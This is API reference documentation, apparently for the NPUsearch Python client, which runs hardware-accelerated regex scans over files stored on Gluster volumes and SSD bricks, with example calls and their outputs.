Returns which subset of *files* match any of the expressions in *exprs*. *scan* is the main function for NPUsearch.

Here is a simple scan.

```
>>> client.scan([r'Hello World'], ['examples/*'])
{'pe_usage': 2,
 'matches': [{'matches': [0],
   'overflow': False,
   'path': 'examples/Hello_World.txt',
   'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'}],
 'errors': [],
 'exceptions': {},
 'bytes_scanned': 1253,
 'files_scanned': 4}
```

REQUIRED *exprs* is an iterable of (regular) expressions to scan for. Please see the regex syntax documentation for full details. Alternatively, an iterable of precompiled binary strings can be passed to bypass compilation and speed up search when running the same expressions many times. Please see the *precompiled* argument below for details.

Support for logical combinations of expressions and the ability to match files where "at least *n*" of the expressions match is supported. To use these functionalities, `exprs` must be in complex input form.

The complex input syntax is:

```
        {'type': 'expression',
         'expr': str,
         'id': int, #optional
         'ref_id': int, #optional
         'output_id': int} #optional

         {'type': 'at_least_n',
         'refs': list of ints,
         'n': int,
         'id': int, #optional
         'ref_id': int, #optional
         'output_id': int, #optional
         'maybe_match_id': int} #optional

         {'type': 'combination',
         'formula': str,
         'id': int, #optional
         'ref_id': int, #optional
         'output_id': int, #optional
         'simplify': bool} #optional
```

Please see the complex input format section for full details.

Here is an example using the complex input format. Please see the complex input format section for full details:

```
        >>> exprs = [
        ...     {'type': 'expression', 'expr': 'Hello', 'ref_id': 101},
        ...     {'type': 'expression', 'expr': 'World', 'ref_id': 102},
        ...     {'type': 'expression', 'expr': 'hello', 'ref_id': 103},
        ...     {'type': 'expression', 'expr': 'world', 'ref_id': 104},
        ...     {'type': 'at_least_n', 'refs': [101,102,103,104], 'n': 2, 'output_id': 201},
        ...     {
        ...         'type': 'combination',
        ...         'formula': '(101 AND 102) OR (103 AND 104)',
        ...         'output_id': 301,
        ...     },
        ...     {'type': 'expression', 'expr': 'Hello World', 'output_id': 1}
        ... ]
        >>> client.scan(exprs, ['examples/*'])
        {'pe_usage': 47,
         'matches': [{'matches': [1, 201, 301],
           'overflow': False,
           'path': 'examples/Hello_World.txt',
           'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'}],
         'errors': [],
         'exceptions': {},
         'bytes_scanned': 1253,
         'files_scanned': 4}
```

REQUIRED *files* is an iterable of path-like patterns to scan. `files` may be (and in general should be) expressed as glob patterns as accepted by `glob.glob` with `recursive=True`. Any glob containing `/../` will be rejected.

When this client has no gluster volume AND no `root=` is specified, files must be either in brick format or will be taken as relative to every handled SSD mount. This is the ONLY configuration where a scan can be requested against the raw storage.

When the `root` argument is specified, files and globs must start with the `root` value, and it will be stripped from the front. This is for the case where files are listed from or globs are written for a mounted volume.

When a gluster volume is mounted, its `volname` is prepended to every path, which breaks brick paths. `npusearch` assumes that gluster volumes are backed by brick directories which have the same name as the volume and are located in the root of the mounted partitions.

Examples:

```
>>> client.scan([r'(?i)NPUsearch'], ['**/LRL*', '**/NPU*'])
{'pe_usage': 2,
 'matches': [{'matches': [0],
   'overflow': False,
   'path': 'examples/NPUsearch.txt',
   'brick': 'server01:/mnt/npusearch_9/gv0/examples/NPUsearch.txt'},
  {'matches': [0],
   'overflow': False,
   'path': 'examples/LRL.txt',
   'brick': 'server01:/mnt/npusearch_14/gv0/examples/LRL.txt'}],
 'errors': [],
 'exceptions': {},
 'bytes_scanned': 1166,
 'files_scanned': 2}
```

registry is the registry to use. If not specified the saved registry key will be used.

root is the common root path for the mounted gluster volume. By default, NPUsearch requires the files passed to be relative to the gluster mount point, if gluster is used, or relative to the individual SSD mount points, if not. If `root` is specified, the paths for the files passed in must start with `root`. This is useful when using a function such as `glob.glob`, since the files returned from `glob.glob` will be relative to the os root as opposed to the gluster volume. If the gluster volume is mounted at `/mnt/gv0` (which is default), and the files are gathered from `glob.glob`, then the argument `root='/mnt/gv0'` should be passed in.

Example:

```
>>> client.scan([r'Hello World'], ['/mnt/gv0/examples/*'], root='/mnt/gv0')
 {'pe_usage': 2,
 'matches': [{'matches': [0],
   'overflow': False,
   'path': '/mnt/gv0/examples/Hello_World.txt',
   'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'}],
 'errors': [],
 'exceptions': {},
 'bytes_scanned': 1253,
 'files_scanned': 4}
```

timeout is the number of seconds for the NPUGlusterClient to wait for a response from the backends before timing out. By default, a timeout value of `None` causes `scan` to never timeout. If `timeout` is specified and the time limit is met, any results which have already been found will be returned and an exception will be raised.

callback is a function to pass the match results to. NPU*search* supports returning matches and/or errors in a streaming manner. When returning matches, it passes them to the function specified by `callback=cb` on a background thread as `cb(errors=[errors], matches=[matches],` `progress=progress)`. The progress can be used to determine how far along the scan is.

Note in the example below how all the results are returned from the backends seperately, and not as one batch. This is because they were all searched by different backends.

```
>>> def callback(errors=None, matches=None, progress=None):
...     print(f'These are the errors: {errors!r}.')
...     print(f'These are the matches: {matches!r}.')
...     print(f'This is the progress: {progress!r}.\n')
>>> res = client.scan([r'\w+'], ['examples/*'], callback=callback)
These are the errors: [].
These are the matches: [].
This is the progress: {'bytes': 0, 'files': 0}.

These are the errors: [].
These are the matches: [
    {
        'matches': [0],
        'overflow': False,
        'path': 'examples/Hello_World.txt',
        'brick': 'grape2:/mnt/npusearch_10/gv0/examples/Hello_World.txt',
    }
].
This is the progress: {'bytes': 12, 'files': 1}.

These are the errors: [].
These are the matches: [
    {
        'matches': [0],
        'overflow': False,
        'path': 'examples/NPUsearch.txt',
        'brick': 'grape2:/mnt/npusearch_12/gv0/examples/NPUsearch.txt'
    }
].
This is the progress: {'bytes': 1095, 'files': 2}.

These are the errors: [].
These are the matches: [
    {
        'matches': [0],
        'overflow': False,
        'path': 'examples/LRL.txt',
        'brick': 'grape2:/mnt/npusearch_14/gv0/examples/LRL.txt',
    }
].
This is the progress: {'bytes': 1178, 'files': 3}.

These are the errors: [].
These are the matches: [
    {
        'matches': [0],
        'overflow': False,
        'path': 'examples/newline.txt',
        'brick': 'grape2:/mnt/npusearch_2/gv0/examples/newline.txt',
    }
].
This is the progress: {'bytes': 1253, 'files': 4}.
```

precompiled is a bool representing whether or not compiled input is passed into `exprs`. If True, the expressions passed in `exprs` should be compiled NPU binaries, as output by `check_expressions` or compiled by hand with `/opt/lrl/bin/npusearch_compiler`. See `check_expressions` below and the document on command line functionality.

return_type is the filepath format you want the results returned to you. It is parsed as a `npusearch.ReturnType`. The default is `ReturnType.BRICK|ReturnType.GLUSTER`, or `ReturnType.BRICK` when there is no gluster volume mounted.

When the `ReturnType` includes `ReturnType.BRICK`, the match results each include a key `"brick"` with the brick path of the matching file.

When the `ReturnType` includes `ReturnType.GLUSTER`, the match results each include a key `"path"` with the gluster path of the matching file. If `root=` was specified, this is prepended to the gluster paths.

When the `ReturnType` includes `ReturnType.CHECKED|ReturnType.GLUSTER`, files are checked against the clients gluster volume to verify that they represent a canonical copy of the file under gluster before being returned. If they do not, then they are dropped.

If `ReturnType.GLUSTER` is included, no results are returned unless a gluster volume is mounted in the client.

If `ReturnType.DEDUP` is included, only one file which corresponds to a given path under gluster will be returned, applicable to replicated volumes only.

Users may pass in a string with the name of the ReturnType, e.g `"brick|gluster"` instead of `"ReturnType.BRICK|ReturnType.GLUSTER"`.

Example:

```
        >>> client.scan([r'Hello'], ['examples/*'], return_type='brick')
        {'pe_usage': 2,
         'matches': [{'matches': [0],
           'overflow': False,
           'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'}],
         'errors': [],
         'exceptions': {},
         'bytes_scanned': 1253,
         'files_scanned': 4}
```

collect is a bool representing whether or not results are returned or solely passed into `callback`. If unspecified or `True`, matches and errors are collected and returned. If `False`, matches and errors are ONLY returned via the `callback`.

Note that none of the files are captured in `res`:

```
        >>> def callback(errors=None, matches=None):
        ...     if errors:
        ...         print('Errors found!')
        ...     if matches:
        ...         print(f'Files {[match["path"] for match in matches]} matched!')
        >>> res = client.scan([r'\w+'], ['examples/*'], callback=callback, collect=False)
        Files ['examples/NPUsearch.txt'] matched!
        Files ['examples/Hello_World.txt'] matched!
        Files ['examples/LRL.txt'] matched!
        Files ['examples/newline.txt'] matched!
        >>> res
        {'pe_usage': 2,
         'matches': [],
         'errors': [],
         'exceptions': {},
         'bytes_scanned': 1253,
         'files_scanned': 4}
```

compile_args is a dict of optional args to be passed to precompilation. Useful values include

- `"mem_limit"`: limit on compilation mem usage in bytes
- `"time_limit"`: compilation timeout in bytes
- `"compiler"`: path to an alternate compiler to use
- `"checker"` : path to an alternate binsize checker to use for calculating `pe_usage`

show_compiler_warnings is a bool representing whether or not to use `warnings.warn()` in the Python frontend to raise warnings that the compiler returned. The default is True, which corresponds to warnings being raised in the Python frontend.

clean is a bool representing whether or not to clean the registry. The default is to clean the registry.

hostname is a string telling scan to only access backends which have bricks on the host provided.

condition is a callable. Supplying `condition` causes scan to only use backends for which `condition(path)` returns `True` for at least one path handled by the backend. A user can search a subset of multiple nodes using `condition = lambda p: any(node_name in p for node_name in nodes_to_search)`.

Possible *kwargs* include:

chains is an int which represents the number of chains the backends will use. The value is rounded down to the nearest chain count the backends can support. The default value is the maximum number of chains supported. Limits and default value differ based on hardware; SmartSSDs support a maximum of 12 chains and Kuona cards support a maximum of 16 chains.

WARNING: The time a scan takes is inversely proportional to the number of chains used. Thus setting `chains=1` can cause results to return up to 16x slower and take over 6 hours.

WARNING: With mixed hardware clusters, when the number of PEs used is over 300, changing this value can lead to some files being scanned and others not scanned, depending on which hardware they are stored. Appropriate exceptions will be returned.

pes is an int which represents the number of PEs in each chain. The value is rounded up to the nearest PE count supported, so that the user can guarentee there are at least `pes` PEs per chain. Default is 300. Limits differ based on hardware; SmartSSDs support a maximum 3600 PEs and Kuona cards support 4800 PEs.

WARNING: The time a scan takes is directly proportional to the number of chains used. Thus setting `pes=4800` can cause results to return up to 16x slower and take over 6 hours.

WARNING: With mixed hardware clusters, when the number of PEs used is over 3600, changing this value can lead to some files being scanned and others not scanned, depending on which hardware they are stored. Appropriate exceptions will be returned.

Example:

```
>>> client.scan([str(n) for n in range(500)], ['examples/*'], pes=1500)
{'pe_usage': 1469,
 'matches': [{'matches': [6, 5, 45, 7, 56, 3, 78, 9, 4, 12, 89, 123, 8, 234, 90, 1],
   'overflow': True,
   'path': 'examples/newline.txt',
   'brick': 'server01:/mnt/npusearch_2/gv0/examples/newline.txt'}],
 'errors': [],
 'exceptions': {},
 'bytes_scanned': 1253,
 'files_scanned': 4}
```

match_gaps is an int which tells the backends to run with capacity for at least this many distinct matches. The maximum (and default) value is 16.

files_limit is an int which tells each backend to only scan up to this many files. By default, there is no limit.

files_offset is an int which tells each backend to skip this many files from its expanded globs list. By default, no files will be skipped. Using `files_limit` and `files_offset` allows a user to "page" through files as opposed to pulling into memory the names of a large number of files. For example, setting `files_offset=256, files_limit=384` will return files 256-384.

decompress is a bool, int, or string which if present specifies auto decompression behavior. if present and `True`, `1`, `"on"` or `"auto"` the backends will attempt to autodetect compressed or encoded files using `libarchive(3)`. including nested compression and encoding.

If not present, or if `False`, `0`, or `"off"` decompression is disabled

Other values for this argument are reserved at the present time.

---

scan returns a dictionary with the keys: `'pe_usage'`, `'matches'`, `'errors'`, and `'exceptions'`.

The value for `'pe_usage'` is the number of PEs the input expressions or compiled file used. By default, the maximum number of available PEs is 300 (passing in the argument `pes` or `chains` changes this). When the number of PEs would be above the number of available PEs, the value for `'pe_usage'` is 0 instead and an exception is noted under `'exceptions'`.

The value for `'matches'` is a list of dictionaries describing the filepaths which matched. Each dictionary has the keys `'matches'` and `'overflow'`, and a subset of `'path'` and `'brick'` (depending on the value of `return_type`,).

The keys `'path'` and `'brick'` designate the location of the matching file. The value is the filepath as a `str`. See `return_type` for more details. `'path'` is only included if `return_type` includes `ReturnType.GLUSTER`. `'brick'` is only included if `retury_type` includes `ReturnType.BRICK`

The value for `'matches'` is a list of ints, which are the indicies of the expressions in `exprs` which matched. Alternatively, when the complex input format is used, the ints will be the corresponding `'output_id'` for each of the inputs which matched.

The value for `'overflow'` is a boolean indicating whether more expressions matched then were able to be reported on `'matches'`. A value of `False` indicates no overflow and the user does not need to take any further action. A value of `True` means there are more expressions which matched than those reported on `'matches'`. This can happen (but is not guaranteed to happen, the hardware details are complex) when the number of matching expressions is greater than `match_gaps` (which on current hardware has a maximum value of 16, and defaults to the value passed to the backends when they start).

The value for `'errors'` is a list of the filepaths and globs which had errors.

The value for `'exceptions'` is a dictionary of exceptions that were raised by the backends. The keys are the name of each backend and the values are a list of the errors that were raised.

Example of multiple matches:

```
>>> client.scan([r'(?i)NPUsearch', r'Hello', r'\w+'], ['examples/*'])
{'pe_usage': 5,
 'matches': [{'matches': [1, 2],
   'overflow': False,
   'path': 'examples/Hello_World.txt',
   'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'},
  {'matches': [2, 0],
   'overflow': False,
   'path': 'examples/LRL.txt',
   'brick': 'server01:/mnt/npusearch_14/gv0/examples/LRL.txt'},
  {'matches': [2, 0],
   'overflow': False,
   'path': 'examples/NPUsearch.txt',
   'brick': 'server01:/mnt/npusearch_9/gv0/examples/NPUsearch.txt'},
  {'matches': [2],
   'overflow': False,
   'path': 'examples/newline.txt',
   'brick': 'server01:/mnt/npusearch_2/gv0/examples/newline.txt'}],
 'errors': [],
         'exceptions': {},
         'bytes_scanned': 1253,
         'files_scanned': 4}
```

Example when there is overflow

```
        >>> client.scan([r'Hello World']*20, ['examples/*'])
        {'pe_usage': 59,
         'matches': [{'matches': [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,14, 15],
           'overflow': True,
           'path': 'examples/Hello_World.txt',
           'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'}],
         'errors': [],
         'exceptions': {},
         'bytes_scanned': 1253,
         'files_scanned': 4}
```

Some examples of errors:

```
        >>> client.scan([str(n) for n in range(500)], ['examples/*'])
        {'pe_usage': 0,
         'matches': [],
         'errors': [],
         'exceptions': {b'npusearch:request:server01-15-1678816025': [hiredis.ReplyError('FAILED\
         TO LOAD. overfull. 1469 pes required, 300 pes available.')],
          b'npusearch:request:server01-1-1678816025': [hiredis.ReplyError('FAILED\
         TO LOAD. overfull. 1469 pes required, 300 pes available.')],
          b'npusearch:request:server01-3-1678816025': [hiredis.ReplyError('FAILED\
         TO LOAD. overfull. 1469 pes required, 300 pes available.')],
          b'npusearch:request:server01-21-1678816025': [hiredis.ReplyError('FAILED\
         TO LOAD. overfull. 1469 pes required, 300 pes available.')]},
         'bytes_scanned': 0,
         'files_scanned': 0}

        >>> client.scan([r'L(ewis )?R(hodes ?L(abs)?'], ['wiki/00000001.wiki'])
        ---------------------------------------------------------------------------
        CompileError: Failed to compile "L(ewis )?R(hodes ?L(abs)?"

        return code: 1
        compilation log:

        SyntaxError
         [{'type': 'expression', 'expr': 'L(ewis )?R(hodes ?L(abs)?', 'ref_id': None,
         'output_id': 0, 'flags': ''}]
         Unpaired left parenthesis.
```

When there is a `CompileError` the backends are never engaged. If multiple expressions have CompileErrors, only the first error is thrown. Use `check_expressions` to check every expression for errors.

8.1.1.1.2 Backend communication functions

8.1.1.1.2.1 info

NPUGlusterClient.**info**(*self, registry=None, timeout=1, clean=True, hostname=None, condition=None*)

This function returns current information about the state of the backends. The arguments `registry`, `clean`, `hostname`, and `condition` are the same as in `scan`, while timeout is the amount of time to wait in seconds. It returns a dictionary where the keys are each backend and the values are either an exception or another dictionary with the following key/value pairs (note: these results come directly from the backend, so they are NOT determined by the python version):

status is the current status of the backend.

pes_default is the default number of PEs the backend uses.

pes_total is the total number of PEs the backend uses.

chains_default is the default number of chains the backend uses. Note that `chains_default` * `pes_default` = `pes_total`.

chains_supported is a `list` of `int`s representing what number of chains are supported.

queue_size is an `int` representing how many requests are currently in the queue.

matches_default is the default number of match gaps.

matches_max is the maximum number of match gaps.

```
        >>> client.info()
        {'npusearch:request:server01-14-1678816025': {'status': 'Ok',
          'pes_default': 300,
          'pes_total': 3600,
          'chains_default': 12,
          'chains_supported': [1, 3, 6, 12],
          'queue_size': 0,
          'match_gaps_default': 16,
          'match_gaps_max': 16},
          <snip>
         'npusearch:request:server01-17-1678816025': {'status': 'Ok',
          'pes_default': 300,
          'pes_total': 3600,
          'chains_default': 12,
          'chains_supported': [1, 3, 6, 12],
          'queue_size': 0,
          'match_gaps_default': 16,
          'match_gaps_max': 16}}
```

8.1.1.1.2.2 check

NPUGlusterClient.**check**(*self, registry=None, hostname=None, condition=None, clean=True*)

This function checks which backends are currently up and listening. The arguments `registry` and `clean` are the same as in `scan`. Supplying `hostname` only returns backends which have bricks on the host provided as long as `condition` is left as `None`. Supplying `condition` causes it to only return backends for which `condition(path)` returns `True` for at least one path handled by the backend.

It returns a list of the names of all the backends that are currently up and listening.

```
        >>> client.check()
        [b'npusearch:request:server01-0-1678816025',
         b'npusearch:request:server01-1-1678816025',
        <snip>
         b'npusearch:request:server01-8-1678816025',
         b'npusearch:request:server01-9-1678816025']
```

8.1.1.1.2.3 quit

NPUGlusterClient.**quit**(*self, registry=None, timeout=1000, hostname=None, condition=None, returncode=0, clean=None*)

This function shuts down the NPU backends and returns a dict with whether or not each backend shut down correctly. The arguments are the same as `info`, with the addition of `returncode`, which is the return code for the backends to exit with.

This can be useful when managing backends across multiple servers, as `quit` can be used to selectively shut down backends on some servers but not on others using `condition = lambda p: any(server_name in p for server_name in servers_to_shutdown)`.

After a few seconds, the backends will come back up.

```
        >>> client.quit()
        {'npusearch:request:server01-11-1678816025': {'status': 'Ok'},
         'npusearch:request:server01-21-1678816025': {'status': 'Ok'},
         'npusearch:request:server01-22-1678816025': {'status': 'Ok'},
         <snip>
         'npusearch:request:server01-15-1678816025': {'status': 'Ok'},
         'npusearch:request:server01-4-1678816025': {'status': 'Ok'}}
         >>> client.check()
         []
```

8.1.1.1.3 Redis communication functions

8.1.1.1.3.1 is_alive

NPUGlusterClient.**is_alive**(*self*)

Returns a bool whether or not this instance is listening for pubsub messages.

8.1.1.1.3.2 start

NPUGlusterClient.**start**(*self*)

This function subscribes to pubsub channels.

8.1.1.1.3.3 stop

NPUGlusterClient.**stop**(*self*)

This function unsubscribes from pubsub channels. All outstanding requests are completed with an error status in callback, but not cleared.

8.1.1.1.3.4 clear

NPUGlusterClient.**clear**(*self*)

This function unsubscribes from pubsub channels. All outstanding requests are completed with an error status in callback, and then dropped.

8.1.1.1.4 File system inspection functions

8.1.1.1.4.1 ls

NPUGlusterClient.**ls**(*self, files, return_type=ReturnType.BRICK, registry=None, timeout=None, clean=True, root=None, **kwargs*)

This function lists all of the files which satisfy the glob format of `files` (hence the name `ls`). The arguments are the same as `scan`, with the options of `files_offset` and `files_limit` as `kwargs`. A dictionary is returned with the key/value pairs of `'files':` dictionaries with `'brick'` and `'path'` as selected by `return_type=`. `'errors':` list of errors.

8.1.1.1.4.2 sizes

NPUGlusterClient.**sizes**(*self, files, return_type=ReturnType.BRICK, registry=None, timeout=None, clean=True, root=None, **kwargs*)

This function is the same as `ls`, except with each of the entries in the value for `'files'` is a dictionary with key/value pairs `'size':` int number of bytes, `'brick:' : str and` 'path'`: str, as selected by`return_type`=An additional key/value pair in the final result is`'size':` int number of total bytes.

8.1.1.1.4.3 stat

NPUGlusterClient.**stat**(*self, files, return_type=ReturnType.BRICK, registry=None, timeout=None, clean=True, root=None, **kwargs*)

This function is the same as `ls`, except that it calls `stat` on each of the files.

8.1.1.2 check_expressions

npusearch.**check_expressions**(*self, exprs, compile_args=None, include_binary=False*)

Takes in `exprs` and `compile_args` as passed into `scan`, compiles the `exprs`, and returns a dictionary with the results. The key/value pairs of the dictionary are:

exprs is the same as the *exprs* passed in.

log is a `str` with all of the error messages which would have been raised when compiling. This includes multiple error messages if multiple entries in `exprs` have errors.

pe_usage is the number of PEs the compiled expressions would take up on an NPU. It is -1 when there are errors.

binary is only included if `include_binary=True`. It is a list of length one with its only entry a binary string which represents the compiled expressions as an NPU binary. The list can then be passed into `scan` as `exprs` with the argument `precompiled=True` set.

Precompiling expressions is useful when a user is running `scan` multiple times with the same `exprs` argument. Each invocation of `scan` calls the compiler by default, so precompiling the expressions allows the user to avoid the overhead of compiling the same expressions multiple times.

`check_expressions` never communicates with the NPU backends, only with the compiler (which uses the CPU), so it can be called while other scans are running.

Examples:

```
>>> npusearch.check_expressions(
...     [
...         r'(?i)celebratory.*neuroscience',
...         r'L(ewis )?R(hodes )?L(abs)?',
...         '(?i)neuromorphic.*computing',
...     ]
... )
{'exprs': ['(?i)celebratory.*neuroscience',
  'L(ewis )?R(hodes )?L(abs)?',
  '(?i)neuromorphic.*computing'],
 'log': '',
 'pe_usage': 20,
 'returncode': 0}

>>> npusearch.check_expressions(
...     [
...         r'(?i)celebratory.*neuroscience',
...         r'L(ewis )?R(hodes ?L(abs)?',
...         '[Nn]euromorphic.*[Ccomputing',
...     ]
... )
```

```
{'exprs': ['(?i)celebratory.*neuroscience',
  'L(ewis )?R(hodes ?L(abs)?'',
  '[Nn]euromorphic.*[Ccomputing'],
 'log': "Syntax Error:\
  regex='L(ewis )?R(hodes ?L(abs)?', expr_id=1: Unpaired left parenthesis.\
  \nSyntax Error:\
  regex='[Nn]euromorphic.*[Ccomputing', expr_id=2: Unclosed character class.",
 'pe_usage': -1,
 'returncode': 1}

>>> config = npusearch.check_expressions([r'Hello World'], include_binary=True)
>>> client.scan(
...     config['binary'],
...     ['examples/*'],
...     precompiled=True, # needed when passing in a binary
... )
{'pe_usage': 2,
 'matches': [{'matches': [0],
   'overflow': False,
   'path': 'examples/Hello_World.txt',
   'brick': 'server01:/mnt/npusearch_10/gv0/examples/Hello_World.txt'}],
 'errors': [],
 'exceptions': {},
 'bytes_scanned': 1253,
 'files_scanned': 4}
```

8.1.1.3 ReturnType

class npusearch.**ReturnType**(*enum.Flag*)

Used in the `return_type` argument in `scan`. Values are `BRICK`, `GLUSTER`, and `CHECKED`. See `scan` for more details.

8.2 More Advanced Examples

8.2.1 Multi-node Systems

In these examples, the user has two servers named `box01` and `server01` and gluster volume `gv3` set up across both servers.

All of these are valid ways to instantiate the client so that it connects to gluster sucessfully.

```
>>> from npusearch import NPUGlusterClient
>>> valid_hosts = (['server01', 'box01'],
...                ['localhost'],
...                ['box01'],
...                ['server01'])
>>> for gluster_hosts in valid_hosts:
...     client = NPUGlusterClient(gluster_hosts=gluster_hosts, gluster_volname='gv3')
```

An example scan demonstrates data returned from different servers:

```
>>> client.scan([r'^[0-5]$'], ['test/*'], return_type='both')
{'pe_usage': 8,
 'matches': [{'matches': [0],
   'overflow': False,
   'path': 'test/0',
   'brick': 'server01:/mnt/npusearch_8/gv3/test/0'},
  {'matches': [0],
   'overflow': False,
   'path': 'test/4',
   'brick': 'box01:/mnt/npusearch_3/gv3/test/4'},
  {'matches': [0],
   'overflow': False,
   'path': 'test/2',
   'brick': 'box01:/mnt/npusearch_8/gv3/test/2'},
  {'matches': [0],
   'overflow': False,
   'path': 'test/3',
   'brick': 'box01:/mnt/npusearch_8/gv3/test/3'},
  {'matches': [0],
   'overflow': False,
   'path': 'test/1',
   'brick': 'box01:/mnt/npusearch_20/gv3/test/1'},
  {'matches': [0],
   'overflow': False,
   'path': 'test/5',
   'brick': 'server01:/mnt/npusearch_5/gv3/test/5'}],
 'errors': [],
 'exceptions': {}}
```

A user can shut down one set of backends and check to see that the other is still up:

```
        >>> client.quit(hostname='server01')
        {'npusearch:request:server01-3-1678814900': {'status': 'Ok'},
         'npusearch:request:server01-21-1678814900': {'status': 'Ok'},
        <snip>
         'npusearch:request:server01-7-1678814900': {'status': 'Ok'},
         'npusearch:request:server01-1-1678814900': {'status': 'Ok'}}
         >>> client.check()
         [b'npusearch:request:box01-0-1678814898',
         b'npusearch:request:box01-1-1678814898',
        <snip>
         b'npusearch:request:box01-8-1678814898',
         b'npusearch:request:box01-9-1678814898']
```

8.2.2 Forgoing Gluster

Gluster is not needed to run scans, only to get the final path. In this example, a user can run the same search as above without touching gluster:

```
        >>> no_gluster = NPUGlusterClient()
        >>> no_gluster.scan([r'^[0-5]$'], ['gv3/test/*']) #gv3 (or *) needed on filepath
        {'pe_usage': 8,
         'matches': [{'matches': [0],
           'overflow': False,
           'brick': 'box01:/mnt/npusearch_3/gv3/test/4'},
          {'matches': [0],
           'overflow': False,
           'brick': 'server01:/mnt/npusearch_8/gv3/test/0'},
          {'matches': [0],
           'overflow': False,
           'brick': 'box01:/mnt/npusearch_20/gv3/test/1'},
          {'matches': [0],
           'overflow': False,
           'brick': 'box01:/mnt/npusearch_8/gv3/test/2'},
          {'matches': [0],
           'overflow': False,
           'brick': 'box01:/mnt/npusearch_8/gv3/test/3'},
          {'matches': [0],
           'overflow': False,
           'brick': 'server01:/mnt/npusearch_5/gv3/test/5'}],
         'errors': [],
         'exceptions': {}}
```

Note that asking for the gluster path to be returned raises an error:

```
        >>> no_gluster.scan([r'^[0-5]$'], ['gv3/test/*'], return_type='gluster')
        ValueError
        <snip>
        ValueError: return type has ReturnType.GLUSTER but no gluster volume mounted. \
        return type is ReturnType.GLUSTER
```

In this example, although the client did not talk to gluster, the files for `gv3` were still placed using gluster. Gluster is not needed to place files, however if the files are not distributed uniformly across the storage, then the performance of `scan` can get substantially worse.

Here is an example where two files were placed manually without gluster on different drives:

```
>>> no_gluster.scan([r'(?i)gluster freee+'], ['no_gluster/*'])
{'pe_usage': 2,
 'matches': [{'matches': [0],
   'overflow': False,
   'brick': 'box01:/mnt/npusearch_20/no_gluster/gluster_free.txt'},
  {'matches': [0],
   'overflow': False,
   'brick': 'server01:/mnt/npusearch_10/no_gluster/gluster_free.txt'}],
 'errors': [],
 'exceptions': {}}
```

The user can specify which drives to search or alternatively which hostnames to search. This can be done when gluster is connected as well, however a user would generally not leave drives under a gluster cluster out of a scan unless the user knows exactly which drives specific files live on.

```
>>> prefixes = [f'server01:/mnt/npusearch_{i}' for i in range(24)]
>>> no_gluster.scan(
...     [r'(?i)gluster freee+'],
...     [f'{prefix}/no_gluster/*' for prefix in prefixes],
... )
{'pe_usage': 2,
 'matches': [{'matches': [0],
   'overflow': False,
   'brick': 'server01:/mnt/npusearch_10/no_gluster/gluster_free.txt'}],
 'errors': [],
 'exceptions': {}}

>>> no_gluster.scan([r'(?i)gluster freee+'], ['no_gluster/*'], hostname='box01')
{'pe_usage': 2,
 'matches': [{'matches': [0],
   'overflow': False,
   'brick': 'box01:/mnt/npusearch_20/no_gluster/gluster_free.txt'}],
 'errors': [],
 'exceptions': {}}

 >>> client.scan([r'^[0-5]$'], ['test/*'], hostname='server01')
 {'pe_usage': 8,
 'matches': [{'matches': [0],
   'overflow': False,
   'path': 'test/0',
   'brick': 'server01:/mnt/npusearch_8/gv3/test/0'},
  {'matches': [0],
   'overflow': False,
   'path': 'test/5',
   'brick': 'server01:/mnt/npusearch_5/gv3/test/5'}],
 'errors': [],
 'exceptions': {}}
```